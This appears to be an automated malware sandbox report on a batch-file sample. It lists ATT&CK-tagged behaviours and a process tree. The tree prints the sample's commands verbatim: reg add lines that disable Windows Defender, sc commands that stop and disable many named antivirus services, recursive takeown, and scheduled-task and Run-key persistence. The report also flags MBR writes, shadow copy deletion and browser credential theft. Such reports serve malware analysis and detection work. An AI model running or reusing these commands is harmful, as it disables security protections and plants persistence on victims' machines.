7a26d4828cf79b8fe615424f841a710c09454d2ba9e9b8b302336dd1f996188a

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 2 IoCs

defense_evasion

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe

Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2064	bcdedit.exe
2472	bcdedit.exe
2284	bcdedit.exe
940	bcdedit.exe
2248	bcdedit.exe
4728	bcdedit.exe
4420	bcdedit.exe
4396	bcdedit.exe
4972	bcdedit.exe
4584	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2036	netsh.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
4140	takeown.exe
4836	takeown.exe
4976	icacls.exe
2028	icacls.exe
1004	takeown.exe
2240	takeown.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2240	takeown.exe
4976	icacls.exe
2028	icacls.exe
4140	takeown.exe
4836	takeown.exe
1004	takeown.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Updater = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	cmd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa	cmd.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Globalization\ICU\icudtl.dat	cmd.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5024	sc.exe
888	sc.exe
440	sc.exe
3372	sc.exe
4572	sc.exe
592	sc.exe
3772	sc.exe
1008	sc.exe
2648	sc.exe
2284	sc.exe
3868	sc.exe
3784	sc.exe
4460	sc.exe
3692	sc.exe
5108	sc.exe
556	sc.exe
3436	sc.exe
3076	sc.exe
4236	sc.exe
4908	sc.exe
2428	sc.exe
1816	sc.exe
4428	sc.exe
3060	sc.exe
1748	sc.exe
1088	sc.exe
2360	sc.exe
2668	sc.exe
1520	sc.exe
2392	sc.exe
4020	sc.exe
1332	sc.exe
1392	sc.exe
2860	sc.exe
2288	sc.exe
4260	sc.exe
1356	sc.exe
1832	sc.exe
2452	sc.exe
3844	sc.exe
4748	sc.exe
3872	sc.exe
1660	sc.exe
2096	sc.exe
1236	sc.exe
3668	sc.exe
1324	sc.exe
240	sc.exe
2408	sc.exe
4112	sc.exe
948	sc.exe
3176	sc.exe
5112	sc.exe
2696	sc.exe
3640	sc.exe
4964	sc.exe
4904	sc.exe
3332	sc.exe
1232	sc.exe
1272	sc.exe
2004	sc.exe
2076	sc.exe
3292	sc.exe
4292	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2036	powershell.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4840	vssadmin.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "txtfile "	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4404	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2036	powershell.exe
2036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe
Token: SeTakeOwnershipPrivilege	4140	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1612 wrote to memory of 4768	1612	cmd.exe	81
PID 4768 wrote to memory of 3456	4768	net.exe	82
PID 1612 wrote to memory of 4140	1612	cmd.exe	83
PID 1612 wrote to memory of 4404	1612	cmd.exe	84
PID 1612 wrote to memory of 868	1612	cmd.exe	85
PID 1612 wrote to memory of 4904	1612	cmd.exe	86
PID 1612 wrote to memory of 440	1612	cmd.exe	87
PID 1612 wrote to memory of 1540	1612	cmd.exe	88
PID 1612 wrote to memory of 1332	1612	cmd.exe	89
PID 1612 wrote to memory of 1392	1612	cmd.exe	90
PID 1612 wrote to memory of 3060	1612	cmd.exe	91
PID 1612 wrote to memory of 1748	1612	cmd.exe	92
PID 1612 wrote to memory of 2860	1612	cmd.exe	215
PID 1612 wrote to memory of 2880	1612	cmd.exe	94
PID 1612 wrote to memory of 556	1612	cmd.exe	96
PID 1612 wrote to memory of 4676	1612	cmd.exe	97
PID 1612 wrote to memory of 2984	1612	cmd.exe	220
PID 1612 wrote to memory of 2848	1612	cmd.exe	221
PID 1612 wrote to memory of 1324	1612	cmd.exe	100
PID 1612 wrote to memory of 1088	1612	cmd.exe	223
PID 1612 wrote to memory of 3844	1612	cmd.exe	224
PID 1612 wrote to memory of 3784	1612	cmd.exe	225
PID 1612 wrote to memory of 4748	1612	cmd.exe	105
PID 2272 wrote to memory of 2308	2272	net.exe	106
PID 1612 wrote to memory of 4188	1612	cmd.exe	228
PID 1612 wrote to memory of 2360	1612	cmd.exe	230
PID 1612 wrote to memory of 2288	1612	cmd.exe	231
PID 1612 wrote to memory of 2004	1612	cmd.exe	232
PID 1612 wrote to memory of 1484	1612	cmd.exe	233
PID 1612 wrote to memory of 4460	1612	cmd.exe	234
PID 1612 wrote to memory of 2668	1612	cmd.exe	235
PID 1612 wrote to memory of 948	1612	cmd.exe	115
PID 1612 wrote to memory of 3148	1612	cmd.exe	116
PID 1612 wrote to memory of 3176	1612	cmd.exe	117
PID 1612 wrote to memory of 916	1612	cmd.exe	118
PID 1612 wrote to memory of 3884	1612	cmd.exe	119
PID 1612 wrote to memory of 3028	1612	cmd.exe	120
PID 1612 wrote to memory of 4260	1612	cmd.exe	121
PID 1612 wrote to memory of 3436	1612	cmd.exe	122
PID 1612 wrote to memory of 3500	1612	cmd.exe	243
PID 1612 wrote to memory of 4488	1612	cmd.exe	244
PID 1612 wrote to memory of 1356	1612	cmd.exe	245
PID 1612 wrote to memory of 3692	1612	cmd.exe	246
PID 1612 wrote to memory of 592	1612	cmd.exe	247
PID 1612 wrote to memory of 5108	1612	cmd.exe	128
PID 1612 wrote to memory of 5112	1612	cmd.exe	249
PID 1612 wrote to memory of 3076	1612	cmd.exe	130
PID 1612 wrote to memory of 3772	1612	cmd.exe	131
PID 1612 wrote to memory of 3372	1612	cmd.exe	132
PID 1612 wrote to memory of 1832	1612	cmd.exe	133
PID 1612 wrote to memory of 2696	1612	cmd.exe	134
PID 1612 wrote to memory of 2076	1612	cmd.exe	135
PID 1612 wrote to memory of 1312	1612	cmd.exe	256
PID 1612 wrote to memory of 2452	1612	cmd.exe	137
PID 1612 wrote to memory of 3332	1612	cmd.exe	258
PID 1612 wrote to memory of 4236	1612	cmd.exe	259
PID 1612 wrote to memory of 4908	1612	cmd.exe	260
PID 1612 wrote to memory of 1464	1612	cmd.exe	141
PID 1612 wrote to memory of 1972	1612	cmd.exe	142
PID 1612 wrote to memory of 1232	1612	cmd.exe	143
PID 1612 wrote to memory of 1056	1612	cmd.exe	144
PID 1612 wrote to memory of 408	1612	cmd.exe	145
PID 1612 wrote to memory of 240	1612	cmd.exe	146
PID 1612 wrote to memory of 3872	1612	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat"
1⤵
- Drops startup file
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1612
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3456
- C:\Windows\system32\takeown.exe
  takeown /f "C:\*" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4140
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4404
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  PID:868
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4904
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:440
- C:\Windows\system32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  PID:1540
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  - Launches sc.exe
  PID:1332
- C:\Windows\system32\sc.exe
  sc config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1392
- C:\Windows\system32\sc.exe
  sc stop WdFilter
  2⤵
  - Launches sc.exe
  PID:3060
- C:\Windows\system32\sc.exe
  sc config WdFilter start= disabled
  2⤵
  - Launches sc.exe
  PID:1748
- C:\Windows\system32\sc.exe
  sc stop WebThreatDefSvc
  2⤵
  - Launches sc.exe
  PID:2860
- C:\Windows\system32\sc.exe
  sc config WebThreatDefSvc start= disabled
  2⤵
  PID:2880
- C:\Windows\system32\sc.exe
  sc stop MsSecCore
  2⤵
  - Launches sc.exe
  PID:556
- C:\Windows\system32\sc.exe
  sc config MsSecCore start= disabled
  2⤵
  PID:4676
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  PID:2984
- C:\Windows\system32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  PID:2848
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1324
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1088
- C:\Windows\system32\sc.exe
  sc stop mpssvc
  2⤵
  - Launches sc.exe
  PID:3844
- C:\Windows\system32\sc.exe
  sc config mpssvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3784
- C:\Windows\system32\sc.exe
  sc stop BITS
  2⤵
  - Launches sc.exe
  PID:4748
- C:\Windows\system32\sc.exe
  sc config BITS start= disabled
  2⤵
  PID:4188
- C:\Windows\system32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2360
- C:\Windows\system32\sc.exe
  sc config UsoSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2288
- C:\Windows\system32\sc.exe
  sc stop McAfeeFramework
  2⤵
  - Launches sc.exe
  PID:2004
- C:\Windows\system32\sc.exe
  sc config McAfeeFramework start= disabled
  2⤵
  PID:1484
- C:\Windows\system32\sc.exe
  sc stop McShield
  2⤵
  - Launches sc.exe
  PID:4460
- C:\Windows\system32\sc.exe
  sc config McShield start= disabled
  2⤵
  - Launches sc.exe
  PID:2668
- C:\Windows\system32\sc.exe
  sc stop mfefire
  2⤵
  - Launches sc.exe
  PID:948
- C:\Windows\system32\sc.exe
  sc config mfefire start= disabled
  2⤵
  PID:3148
- C:\Windows\system32\sc.exe
  sc stop mfevtp
  2⤵
  - Launches sc.exe
  PID:3176
- C:\Windows\system32\sc.exe
  sc config mfevtp start= disabled
  2⤵
  PID:916
- C:\Windows\system32\sc.exe
  sc stop NortonSecurity
  2⤵
  PID:3884
- C:\Windows\system32\sc.exe
  sc config NortonSecurity start= disabled
  2⤵
  PID:3028
- C:\Windows\system32\sc.exe
  sc stop ccSetMgr
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\system32\sc.exe
  sc config ccSetMgr start= disabled
  2⤵
  - Launches sc.exe
  PID:3436
- C:\Windows\system32\sc.exe
  sc stop AVP
  2⤵
  PID:3500
- C:\Windows\system32\sc.exe
  sc config AVP start= disabled
  2⤵
  PID:4488
- C:\Windows\system32\sc.exe
  sc stop klif
  2⤵
  - Launches sc.exe
  PID:1356
- C:\Windows\system32\sc.exe
  sc config klif start= disabled
  2⤵
  - Launches sc.exe
  PID:3692
- C:\Windows\system32\sc.exe
  sc stop klim6
  2⤵
  - Launches sc.exe
  PID:592
- C:\Windows\system32\sc.exe
  sc config klim6 start= disabled
  2⤵
  - Launches sc.exe
  PID:5108
- C:\Windows\system32\sc.exe
  sc stop klwtp
  2⤵
  - Launches sc.exe
  PID:5112
- C:\Windows\system32\sc.exe
  sc config klwtp start= disabled
  2⤵
  - Launches sc.exe
  PID:3076
- C:\Windows\system32\sc.exe
  sc stop VSSERV
  2⤵
  - Launches sc.exe
  PID:3772
- C:\Windows\system32\sc.exe
  sc config VSSERV start= disabled
  2⤵
  - Launches sc.exe
  PID:3372
- C:\Windows\system32\sc.exe
  sc stop bdredline
  2⤵
  - Launches sc.exe
  PID:1832
- C:\Windows\system32\sc.exe
  sc config bdredline start= disabled
  2⤵
  - Launches sc.exe
  PID:2696
- C:\Windows\system32\sc.exe
  sc stop updatesrv
  2⤵
  - Launches sc.exe
  PID:2076
- C:\Windows\system32\sc.exe
  sc config updatesrv start= disabled
  2⤵
  PID:1312
- C:\Windows\system32\sc.exe
  sc stop MBAMService
  2⤵
  - Launches sc.exe
  PID:2452
- C:\Windows\system32\sc.exe
  sc config MBAMService start= disabled
  2⤵
  - Launches sc.exe
  PID:3332
- C:\Windows\system32\sc.exe
  sc stop MBAMChameleon
  2⤵
  - Launches sc.exe
  PID:4236
- C:\Windows\system32\sc.exe
  sc config MBAMChameleon start= disabled
  2⤵
  - Launches sc.exe
  PID:4908
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  PID:1464
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  PID:1972
- C:\Windows\system32\sc.exe
  sc stop Health
  2⤵
  - Launches sc.exe
  PID:1232
- C:\Windows\system32\sc.exe
  sc config Health start= disabled
  2⤵
  PID:1056
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  PID:408
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  - Launches sc.exe
  PID:240
- C:\Windows\system32\sc.exe
  sc stop Anti-Virus
  2⤵
  - Launches sc.exe
  PID:3872
- C:\Windows\system32\sc.exe
  sc config Anti-Virus start= disabled
  2⤵
  - Launches sc.exe
  PID:5024
- C:\Windows\system32\sc.exe
  sc stop SAVService
  2⤵
  - Launches sc.exe
  PID:1008
- C:\Windows\system32\sc.exe
  sc config SAVService start= disabled
  2⤵
  - Launches sc.exe
  PID:888
- C:\Windows\system32\sc.exe
  sc stop ekrn
  2⤵
  PID:2512
- C:\Windows\system32\sc.exe
  sc config ekrn start= disabled
  2⤵
  - Launches sc.exe
  PID:2428
- C:\Windows\system32\sc.exe
  sc stop egui
  2⤵
  PID:1628
- C:\Windows\system32\sc.exe
  sc config egui start= disabled
  2⤵
  - Launches sc.exe
  PID:3640
- C:\Windows\system32\sc.exe
  sc stop epfw
  2⤵
  - Launches sc.exe
  PID:4964
- C:\Windows\system32\sc.exe
  sc config epfw start= disabled
  2⤵
  PID:1528
- C:\Windows\system32\sc.exe
  sc stop TMBMSRV
  2⤵
  - Launches sc.exe
  PID:3292
- C:\Windows\system32\sc.exe
  sc config TMBMSRV start= disabled
  2⤵
  - Launches sc.exe
  PID:1660
- C:\Windows\system32\sc.exe
  sc stop ntrtscan
  2⤵
  - Launches sc.exe
  PID:2648
- C:\Windows\system32\sc.exe
  sc config ntrtscan start= disabled
  2⤵
  - Launches sc.exe
  PID:1816
- C:\Windows\system32\sc.exe
  sc stop TmPfw
  2⤵
  - Launches sc.exe
  PID:1520
- C:\Windows\system32\sc.exe
  sc config TmPfw start= disabled
  2⤵
  PID:1940
- C:\Windows\system32\sc.exe
  sc stop avast
  2⤵
  - Launches sc.exe
  PID:4428
- C:\Windows\system32\sc.exe
  sc config avast start= disabled
  2⤵
  - Launches sc.exe
  PID:2392
- C:\Windows\system32\sc.exe
  sc stop aswbIDSAgent
  2⤵
  - Launches sc.exe
  PID:2284
- C:\Windows\system32\sc.exe
  sc config aswbIDSAgent start= disabled
  2⤵
  - Launches sc.exe
  PID:1272
- C:\Windows\system32\sc.exe
  sc stop sophosautoupdate
  2⤵
  - Launches sc.exe
  PID:4020
- C:\Windows\system32\sc.exe
  sc config sophosautoupdate start= disabled
  2⤵
  - Launches sc.exe
  PID:4572
- C:\Windows\system32\sc.exe
  sc stop ASdSvc
  2⤵
  PID:2992
- C:\Windows\system32\sc.exe
  sc config ASdSvc start= disabled
  2⤵
  PID:1840
- C:\Windows\system32\sc.exe
  sc stop bdservicehost
  2⤵
  - Launches sc.exe
  PID:3868
- C:\Windows\system32\sc.exe
  sc config bdservicehost start= disabled
  2⤵
  - Launches sc.exe
  PID:2096
- C:\Windows\system32\sc.exe
  sc stop bdagent
  2⤵
  - Launches sc.exe
  PID:1236
- C:\Windows\system32\sc.exe
  sc config bdagent start= disabled
  2⤵
  - Launches sc.exe
  PID:2408
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:1196
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4248
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1708
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3364
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4272
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4532
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3740
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  PID:484
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
  2⤵
  PID:2704
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4240
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
  2⤵
  PID:4148
- C:\Windows\system32\reg.exe
